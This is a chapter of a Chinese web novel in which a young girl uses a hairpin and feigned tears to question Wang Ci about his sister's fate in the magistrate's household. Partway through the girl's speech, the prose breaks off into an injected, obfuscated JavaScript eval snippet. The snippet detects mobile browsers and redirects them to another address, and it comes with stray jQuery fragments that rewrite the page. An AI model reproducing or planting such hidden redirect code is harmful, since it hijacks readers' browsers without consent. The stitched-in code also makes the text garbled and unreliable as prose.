陈既白再次来到东街的王记粮铺,这次没再观看情况,径直走到王家的侧门,抬手敲了起来。
在一声声扣门声中,王家家仆才姗姗来迟。
他打开门,满脸警惕的打量来人,在看清是个半大的姑娘后,脸上的警惕立刻变成了不耐,只以为是哪家孩子来捣乱的。
“去去去,小孩子家家别在这里来捣乱。”说着就要关门。
陈既白没跟他废话,右手稳稳撑着即将关上的门,左手直接从怀里掏出那支鹤簪,递到那人面前,声音不高却清晰,“我找王老爷,是王芷柔姐姐让我来的。”
听见自己大小姐的名字,再瞧见小孩手中的那支鹤簪,家仆脸色一变,方才脸上的不耐转眼消失。
这支鹤簪,是老爷当时花费心思请巧匠打造给大小姐的,玉料难得,做工精巧,全府上下,谁人不知,谁人不晓。
虽然大小姐后来做出了那事,但老爷这些年对满园的花依旧如此上心,半点不曾怠慢,看样子也不像是真厌弃大小姐。
这其中或许另有隐情,他可不敢自作主张,所以这事还是得禀告老爷。
脑壳转了一圈,连忙朝陈既白拱了拱手,“姑娘稍等,小的这就去禀告老爷。”
陈既白点头应下,看着家仆快步奔向府里,心里暗暗琢磨:在王慈心中,柔姐姐还是有分量的,只是不知这分量怎么计算了。
没过多久,家仆便便急匆匆赶来,身旁还跟着个身穿青布长衫的中年男子,两人脸上带着客气的笑。
新来男子应当不是王慈,虽瞧着气度沉稳,穿着也比家仆体面,陈既白暗自猜测,这应该是管家之类的人物。
“姑娘,我是王家管家。”男子主动上去表明身份,语气谦和,“我家老爷身体不适,不能亲自前来迎接,让我代劳,还望姑娘不要在意。”
陈既白连忙摇摇头,表现出一副局促不安的样子,双手紧紧捏住衣角,像是没有见过世面一般。
看她这样子,管家嘴角的笑意更深了些,引着她往里走。
陈既白穿过那日走过的花园,这花园的花还是那样迎风招展,一点都不肯落败。
见陈既白眼神停留在那些花上,管家以为她惊奇——冬日里花竟还未残。
他一脸自豪。“这些都是大小姐喜欢的花,老爷费尽心思、花了大价钱才让花不落,只不过可惜……”管家话说到一半,咽了回去,眼里闪过一丝惋惜,大小姐自从进了县太府,一次都未回来,所以一眼都未见过。
陈既白不可置否,想到被下人随时欺负的柔姐姐,再看看这满园的争艳,这一切,真是讽刺至极。
费尽心思育花,却对爱这花的人置之不理,真是倒反天罡,自欺欺人!
七拐八拐后,管家终于将陈既白带到一间书房。
屋内陈设简洁,书架上摆满了书,一名男子正背着而立,身形挺拔。
他应当就是柔姐姐的兄长——王慈。
管家躬身通报,“老爷,人给您带到了。”
听见声音,男人立刻转身,神色憔悴,像是大病了一场。
长相和柔姐姐很像,只是对比起柔姐姐的羸弱苍白,男人的五官更为硬朗。
陈既白运转解纹天道查看,发现自己竟看不清王慈的命脉,她当即一懵,面上却没有表现。
为了方便打探消息,她今天把杀猪刀放回空间袋,要不然也能测试了。
王慈摆摆手让管家退下,目光落到陈既白身上,细细端详起来。眼前的小姑娘穿着普通的麻布衣裳,脸上的稚气未退,年纪大约在十一二岁。
浑身透着局促不安,瞧着就是个没见过世面的小丫头片子。
芷柔怎会认识这半大的小女孩,还将鹤簪拿给她,难不成有什么过人之处?
心里闪过许多念头,但王慈脸上并未表现。
他朝着陈既白和蔼一笑,温声道,“小姑娘,芷柔让你来……”
被打量的陈既白只觉得自己像是被什么东西黏住了一般,阴冷、让人汗毛耸立。
这王慈果真不一般,有趣!
她猛地朝王慈伏了伏身,脸色惶然,声音里带着一丝颤抖,“王老爷,我,我是县太府的打杂丫头,不是柔姐姐让我来的,我是自己偷偷来见您的。”
王慈眼里闪过一丝讶异,他本以为这丫头是奉了芷柔之命前来的,没想到竟是自己私自前来。
说的是也,如今的县太府,芷柔能唤得动谁呢?不过,就快结束了。
只望芷柔能耐心再等等他,他一定会将她带出县太府的。
看出王慈脸上的惊讶,陈既白连忙拿出王芷柔给她的信物鹤簪,递给王慈。
眼泪说来就来,顺着脸颊往下淌,“对不起王老爷,我知道这样很冒昧,可是我实在是没办法了。
望着女孩脸上的慌张,又见到妹妹的信物。
王慈似身形一晃,他颤颤巍巍的接过鹤簪,眼眶微微泛红,声音沙哑的问,“芷柔她……在府里还好吗?”
陈既白用力摇了摇头,哭声更大了,肩膀一抽一抽的,“她快不行了。这支鹤簪是她送与我的,她说这是您在她及笄之年送给她的。但在府里,我从未看见她戴过,想必是十分爱惜。”
“可如今,她身子越来越弱,天天被府里的人欺负,大家都说她害了夫人和慧儿小姐,没人肯给她好脸色。”
一边说陈既白一边偷偷望向王慈,发现他在听到夫人和慧儿时,嘴角不自觉的抽动。
难不成柳夫人和慧儿的事,王慈也参与了,但是为什么?
内心想着,嘴上依旧不停说道,“一直以来,柔姐姐总帮我,有好吃的也会给我留一份,有人欺负我她也会站出来护着我。”
“她时常和我说,您最疼她了,绝对不会不管她的。”
她一边哭一边身子打颤,仿佛做此事会给她带来天灾一般。
“我不想她抱着遗憾走,所以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055046|194858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才偷偷拿着鹤簪来找您,要不然我是万万不敢的。”
王慈看向手中还崭新如初的鹤簪,又瞧着眼前哭的撕心裂肺、为妹妹挺身而出的小丫头,心里的疑虑消了大半。
他就说,按照芷柔的性子,绝不可能会让人来找他。
王慈连忙站起身,椅子腿在地上划出刺耳的声响,语气急切,“怎么会这样?县太爷明明答应过我,会好好对她的。”
“这我就不知道了。”陈既白吸了吸鼻子,眼泪掉的更凶,“府里的人都把她当仇人,要么冷嘲热讽,要么故意找她麻烦,柔姐姐本来身子就弱,这么折腾下来,一天比一天差。我看着心疼,可我只是个不起眼的丫头,说不上半句话。”
她抬眼看向王慈,眼神里满是哀求:“柔姐姐心里一直想不通,当年家里失火,您为什么不救她,反倒让她进了县太爷府?”
“她总说,您以前最疼她,就算天塌下来也会护着她。这是她唯一的心愿,想知道真相,我求求您告诉我吧,让我能圆了她的心愿。”陈既白哭的更大声,眼眶泛红,仿佛是她被欺负了一样。
望着王慈大半天不吭声,陈既白再次哀求,“求求您就告诉我吧,我想圆了柔姐姐这一个心愿。”
望着哭到不能自己的陈既白,王慈身子一僵,双手紧紧攥住椅子,指节泛白,沉默了许久才缓缓开口,“那晚,因为家中失火,想着芷柔和柳夫人许久未见,也不好突然打断她们。”
“何况芷柔身体不好,要是让她知道家中失火,肯定会担惊受怕,这样一想,所以我就一个人回去了,没想到……竟会发生了这种事。”
你没想到?那为什么不追查是谁把消息撒播出去的?
只怕是心里有鬼,陈既白趁王慈没注意,偷偷翻了个白眼。
接着追问,“那您为什么要让她进县太府啊?”声音里带着委屈·,“柔姐姐说,她宁愿常伴青那什么灯,都不愿进县太府,可是您还是让她去了,她一直为此难过。”
王慈闻言重重叹了口气,脸上露出痛苦的神色,像是被鱼刺卡住了喉咙似的,半天才说出口,“当时是没办法啊……实在是没办法没办法。”
重复了两遍,他又停了半响,像是在斟酌如何开口,又像是在压抑情绪,过了好一会才开口,“是县太爷逼我的。他说,芷柔若不肯去县太府做妾,他就要把整个王家毁掉,我实在是没办法!”
县太爷搞了这么一出,就只想让柔姐姐当他的妾室?这比娘亲看的那些什么《天凉王破,霸道仙君追妻命好苦》还离谱!
这个王慈,怕是看她年纪小就一派胡言!真当她什么都不懂。
但戏演到现在,还得继续走下去,她表现出一副震惊的样子,顺势哭的更凶了,“那柔姐姐好苦啊,进府之后也没有得到县太爷的宠爱,如今还落的这般名声,她怕是撑不过这个寒天了……”
“王老爷,求您救救她吧,柔姐姐人这么好,怎么能就这样没了呢。”